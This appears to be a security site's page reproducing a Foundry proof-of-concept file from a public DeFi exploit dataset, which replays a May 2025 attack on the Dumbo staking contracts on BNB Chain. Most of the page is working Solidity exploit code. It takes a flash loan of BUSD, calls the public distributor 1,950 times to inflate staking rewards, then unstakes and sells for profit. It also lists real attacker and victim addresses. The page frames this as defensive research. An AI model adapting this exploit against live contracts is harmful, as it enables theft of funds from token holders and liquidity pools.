Public reproduction file
src/test/2025-05/Dumbo_exp.sol
Public reproduction file for dataset entry Dumbo.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 628.45 BUSD8// Attacker : 0x280489Ba18fC7FbfAa38316EfF5b842dCc91a7389// Attack Contract : 0x8D8E60D23bac161ebaB168D50b239C63CdCc834210// Vulnerable Contract : 0x495670E5a43CE393597952b2fE944036E6785Baf11// Attack Tx : https://bscscan.com/tx/0xbfd59a18d4500649c6a15e578fdd0a05fdef5b932f3e3d51b8e2a5640cd4fb6c12//13// @Info14// Vulnerable Contract Code : unverified15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/118118//19// Attack summary: The attacker flash-borrowed BUSD, bought and staked DUM, repeatedly called the20// public distributor to mint rewards into the staking path, then unstaked and sold the inflated DUM.21// Root cause: Dumbo's distributor can be triggered repeatedly by an external caller, allowing reward22// minting to be compounded inside one transaction.24address constant ATTACKER = 0x280489BA18fC7FbfAa38316eFF5b842dcc91a738;25address constant TRACE_ATTACK_CONTRACT = 0x8d8e60d23Bac161EBAB168D50B239c63CDcc8342;26address constant TRACE_HELPER = 0x1d225e796ba141848575871A6D9dF69f4Fb3b8Ea;27address constant DUM_TOKEN = 0xD1AF3A592f8B412608a2768DA3D7Aa01d0c2A4CB;28address constant SDUM_TOKEN = 0x3AAD3e7734CA8b8C61F5590AfA018c0eE104dCB4;29address constant STAKING = 0xc73DD6De7581ED388E9Eb85A8E66a7bC3fb025E3;30address constant DUM_DISTRIBUTOR = 0x495670E5A43ce393597952b2fE944036E6785BaF;31address constant DUM_BUSD_PAIR = 0xFa8b88aACCDCa60e396B6899e9a472799D7E9615;32address constant FLASH_PAIR = 0x51e6D27FA57373d8d4C256231241053a70Cb1d93;33address constant BUSD_TOKEN = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;34address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;35address constant PANCAKE_ROUTER = 0x54509f72B9AaA941BECaA098625Bff930bCfB1A2;36uint256 constant FLASH_BUSD_AMOUNT = 6900 ether;37uint256 constant FLASH_BUSD_REPAY = 6915 ether;38uint256 constant DISTRIBUTE_CALLS = 1950;40interface IStakingLike {41 function stake(42 uint256 amount,43 address recipient44 ) external returns (bool);45 function rebase() external;46 function distributor() external returns (address);47}49interface IDistributorLike {50 function distribute() external returns (bool);51}53contract ContractTest is BaseTestWithBalanceLog {54 address private profitReceiver;56 function setUp() public {57 uint256 forkBlock = 50_277_887;58 vm.createSelectFork("bsc", forkBlock);60 profitReceiver = makeAddr("profitReceiver");61 fundingToken = BUSD_TOKEN;62 attacker = profitReceiver;64 vm.label(ATTACKER, "Attacker EOA");65 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");66 vm.label(TRACE_HELPER, "Trace Helper");67 vm.label(DUM_TOKEN, "DUM");68 vm.label(SDUM_TOKEN, "sDUM");69 vm.label(STAKING, "Dumbo Staking");70 vm.label(DUM_DISTRIBUTOR, "Dumbo Distributor");71 vm.label(DUM_BUSD_PAIR, "DUM/BUSD Pair");72 vm.label(FLASH_PAIR, "Ape WBNB/BUSD Pair");73 vm.label(BUSD_TOKEN, "BUSD");74 vm.label(WBNB_TOKEN, "WBNB");75 vm.label(PANCAKE_ROUTER, "Dum Router");76 }78 function testExploit() public balanceLog {79 assertEq(IUniswapV2Pair(FLASH_PAIR).token0(), WBNB_TOKEN);80 assertEq(IUniswapV2Pair(FLASH_PAIR).token1(), BUSD_TOKEN);81 assertEq(IUniswapV2Pair(DUM_BUSD_PAIR).token0(), DUM_TOKEN);82 assertEq(IUniswapV2Pair(DUM_BUSD_PAIR).token1(), BUSD_TOKEN);84 uint256 busdBefore = IERC20(BUSD_TOKEN).balanceOf(profitReceiver);86 // step 1: request the BUSD flash swap through a local attack helper.87 DumboDistributionAttack attack = new DumboDistributionAttack(profitReceiver);88 attack.execute();90 uint256 profit = IERC20(BUSD_TOKEN).balanceOf(profitReceiver) - busdBefore;91 assertGt(profit, 600 ether);92 assertLt(profit, 650 ether);93 }94}96contract DumboDistributionAttack {97 address private immutable profitReceiver;99 constructor(100 address _profitReceiver101 ) {102 profitReceiver = _profitReceiver;103 }105 function execute() external {106 IUniswapV2Pair(FLASH_PAIR).swap(0, FLASH_BUSD_AMOUNT, address(this), "Gogogo");107 }109 function pancakeCall(110 address sender,111 uint256 amount0,112 uint256 amount1,113 bytes calldata114 ) external {115 require(msg.sender == FLASH_PAIR, "not flash pair");116 require(sender == address(this), "unexpected sender");117 require(amount0 == 0 && amount1 == FLASH_BUSD_AMOUNT, "unexpected loan");119 // step 2: inflate redeemable DUM through repeated public distribution calls.120 _runDumboInflation();122 // step 3: repay the flash pair and forward the traced attacker payout.123 require(IERC20(BUSD_TOKEN).transfer(FLASH_PAIR, FLASH_BUSD_REPAY), "flash repay failed");124 uint256 remainingBusd = IERC20(BUSD_TOKEN).balanceOf(address(this));125 require(IERC20(BUSD_TOKEN).transfer(profitReceiver, remainingBusd / 2), "profit transfer failed");126 }128 function _runDumboInflation() private {129 // step 2a: buy and stake DUM as the reward base.130 _approve(BUSD_TOKEN, PANCAKE_ROUTER);131 _swapBusdForDum();133 _approve(DUM_TOKEN, STAKING);134 _approve(SDUM_TOKEN, STAKING);136 // step 2b: run the trace's two distribution/rebase/unstake cycles.137 _stakeDum();138 _touchStakingAccount();139 _distributeRewards();140 _rebaseThreeTimes();141 _unstakeAllSDum();143 _stakeDum();144 _touchStakingAccount();145 _distributeRewards();146 _rebaseThreeTimes();147 _unstakeAllSDum();149 // step 2c: sell the inflated DUM in balance-derived chunks.150 _approve(DUM_TOKEN, PANCAKE_ROUTER);151 for (uint256 remainingSwaps = 3; remainingSwaps > 0; --remainingSwaps) {152 _swapDumForBusd(IERC20(DUM_TOKEN).balanceOf(address(this)) / remainingSwaps);153 }154 }156 function _swapBusdForDum() private {157 address[] memory path = new address[](2);158 path[0] = BUSD_TOKEN;159 path[1] = DUM_TOKEN;161 Uni_Router_V2(PANCAKE_ROUTER)162 .swapExactTokensForTokensSupportingFeeOnTransferTokens(163 IERC20(BUSD_TOKEN).balanceOf(address(this)), 0, path, address(this), block.timestamp164 );165 }167 function _stakeDum() private {168 require(IStakingLike(STAKING).stake(IERC20(DUM_TOKEN).balanceOf(address(this)), address(this)), "stake failed");169 }171 function _touchStakingAccount() private {172 (bool ok,) = STAKING.call(abi.encodeWithSelector(bytes4(0x1e83409a), address(this)));173 require(ok, "staking account touch failed");174 }176 function _distributeRewards() private {177 address distributor = IStakingLike(STAKING).distributor();178 require(distributor == DUM_DISTRIBUTOR, "unexpected distributor");179 for (uint256 i = 0; i < DISTRIBUTE_CALLS; ++i) {180 require(IDistributorLike(distributor).distribute(), "distribute failed");181 }182 }184 function _rebaseThreeTimes() private {185 for (uint256 i = 0; i < 3; ++i) {186 IStakingLike(STAKING).rebase();187 }188 }190 function _unstakeAllSDum() private {191 (bool ok,) =192 STAKING.call(abi.encodeWithSelector(bytes4(0x9ebea88c), IERC20(SDUM_TOKEN).balanceOf(address(this)), true));193 require(ok, "unstake failed");194 }196 function _swapDumForBusd(197 uint256 amount198 ) private {199 address[] memory path = new address[](2);200 path[0] = DUM_TOKEN;201 path[1] = BUSD_TOKEN;203 Uni_Router_V2(PANCAKE_ROUTER)204 .swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);205 }207 function _approve(208 address token,209 address spender210 ) private {211 require(IERC20(token).approve(spender, type(uint256).max), "approve failed");212 }213}Analysis
Dataset entry
Public Foundry test for “Dumbo” (2025-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x280489ba18fc7fbfaa38316eff5b842dcc91a738
- Attack Contract
0x8d8e60d23bac161ebab168d50b239c63cdcc8342
- Vulnerable Contract
0x495670e5a43ce393597952b2fe944036e6785baf
- Attack Tx
0xbfd59a18d4500649c6a15e578fdd0a05fdef5b932f3e3d51b8e2a5640cd4fb6c
File record
- Name
- Dumbo
- Path
- src/test/2025-05/Dumbo_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bacbb0d2f32495464c094e9d31d9ca07e334673f
- Language
- Solidity
- Size
- 214 lines
- Date
- 2025-05-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/Dumbo_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bacbb0d2f32495464c094e9d31d9ca07e334673f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.